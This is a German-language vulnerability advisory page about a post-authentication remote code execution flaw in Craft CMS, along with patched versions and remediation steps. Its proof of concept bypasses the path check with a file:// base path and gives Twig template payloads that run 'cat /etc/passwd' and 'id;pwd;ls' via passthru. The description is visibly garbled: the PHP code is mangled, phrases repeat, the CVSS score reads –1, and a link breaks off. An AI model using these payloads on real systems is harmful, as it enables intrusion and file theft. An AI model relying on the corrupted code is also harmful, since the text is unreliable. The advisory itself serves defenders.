Zum Inhalt springen
← Zurück zum Cyberlagebild
Zuletzt aktualisiert 25.08.2026 10:34

Remote Code Execution via validatePath bypass

CVSS –1 Quelle

Beschreibung

### Zusammenfassung Umgehen der Funktion validatePath kann zu potenzieller Remote Code Execution führen (Post-Authentisierung, ALLOW ADMIN CHANGES=true) ### Details In bootstrap.php ist der SystemPaths-Pfad wie unten festgelegt. ``php // Legen Sie den Vendor Path fest. Standardmäßig angenommen, dass es 4 Stufen von hier oben $vendorPath = $findConfigPath('--vendorPath', 'CRAFT VENDOR PATH') ?? dirname( DIR , 3); // Legen Sie den Pfad "Projektwurzel" fest, der config/, storage/, etc. enthält. Standardmäßig davon ausgehen, dass es ein Niveau von Vendor /. $rootPath = $findConfigPath('--basePath', 'CRAFT BASE PATH') ?? dirname($vendorPath); // Standardmäßig befinden sich die verbleibenden Verzeichnisse im Basisverzeichnis $dotenvPath = $findConfigPath('--dotenvPath', 'CRAFT DOTENV PATH') ?? "$rootPath/.env"; $configPath = $findConfigPath('--configPath', 'CRAFT CONFIG PATH') ?? "$rootPath/MIGRATIONS PATH'; $storePath = $findConfigPath('--templatesPath', 'CRAFT TEMPLATES PATH') ?? "$rootPath/templates"; $translationsPath = $findConfigPath('--translationsPath', 'CRAFT TRANSLATIONS PATH') ?? "$rootPath/translations"; $testsPath = $rootPath/translations"; $testsPath = $rootPath/translations"; $tests Dateischema wird unterstützt in mkdir() ```php /** * @param string $attribute * @param array|null $params * @param InlineValidator $validator * @return void * @since 4.4.6 */ public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void Stellen Sie sicher, dass es sich nicht in einem der Systemverzeichnisse befindet $path = FileHelper::absolutePath($this->getRootPath(), '/'); $systemDirs = Craft::$app->getPath()->getSystemPaths(); foreach ($systemDirs as $dir) { $dir = FileHelper::absolutePath($dir, '/'); if (str starts with("$path/", "$dir/")) { $validator->addError($this, $attribute, Craft::t('app', 'Lokale Volumes können nicht in Systemverzeichnissen gefunden werden.')); break; } } } ``` ref. https://www.php.net/manual/en/wrappers.file.php ### PoC 1) Create a new filesystem. **Basispfad: file:///var/www/html/templates**![1](https://user-images.githubusercontent.com/30969523/249252853-5cde9bae-9279-428a-972b-d4444c545819.png) 2) Erstellen Sie ein neues Asset-Volumen. Asset Filesystem: local bypass ![2](https://user-images.githubusercontent.com/30969523/249256711-e37da7f8-52d6-4ecc-bfc4-b9b9d8a2230d.png) 3) Laden Sie eine ttml-Datei mit rce Template-Code hoch. Bestätigen poc.ttml Datei erstellt in /var/www/html/templates ```twig {{''}} {{1337*1337}} {{['cat /etc/passwd']|map('passthru')|join}} {{'id;pwd;ls -altr /']|map('passthru')|join}} ```![3](https://user-images.githubusercontent.com/30969523/249256731-8dafc3dc-4937-4f69-bba0-97bc96be1ada.png)![4](https://user-images.githubusercontent.com)

HerstellerPixel & Tonic
ProduktCraft CMS
ProduktfamilieCraft Cms
Betroffene Versionen≤ 4.4.14, 3.0.0 – 3.8.14
Behobene Versionen4.4.15, 3.8.15

Quellen & weiterführende Informationen

Hier werden ausschließlich tatsächlich zu dieser Schwachstelle gespeicherte Quellenbelege angezeigt.

Was ist zur Behebung zu tun?

Auf eine behobene Version aktualisieren: 4.4.15, 3.8.15.

PrioritätGrün
EinordnungPlanbar behandeln und überwachen.

Empfohlene Schritte

  • Betroffene Systeme identifizieren: Pixel & Tonic Craft CMS.
  • Exposition prüfen: Internet-Erreichbarkeit, Admin-Oberflächen, VPN, Mail- oder Webdienste.
  • Update/Rollout auf behobene Version vorbereiten und priorisiert einspielen.
  • Nacharbeiten dokumentieren: betroffene Assets, Maßnahme, Zeitpunkt, Restrestrisiko.

Übergangsmaßnahmen

  • Zugriff auf betroffene Dienste auf vertrauenswürdige Netze einschränken.
  • WAF/IDS/EDR-Regeln und Hersteller-IOCs aktivieren, sofern verfügbar.
  • Nicht benötigte Funktionen, Plugins oder Dienste temporär deaktivieren.
  • Administrative Zugänge besonders absichern: MFA, Passwortrotation, Session-Invalidierung.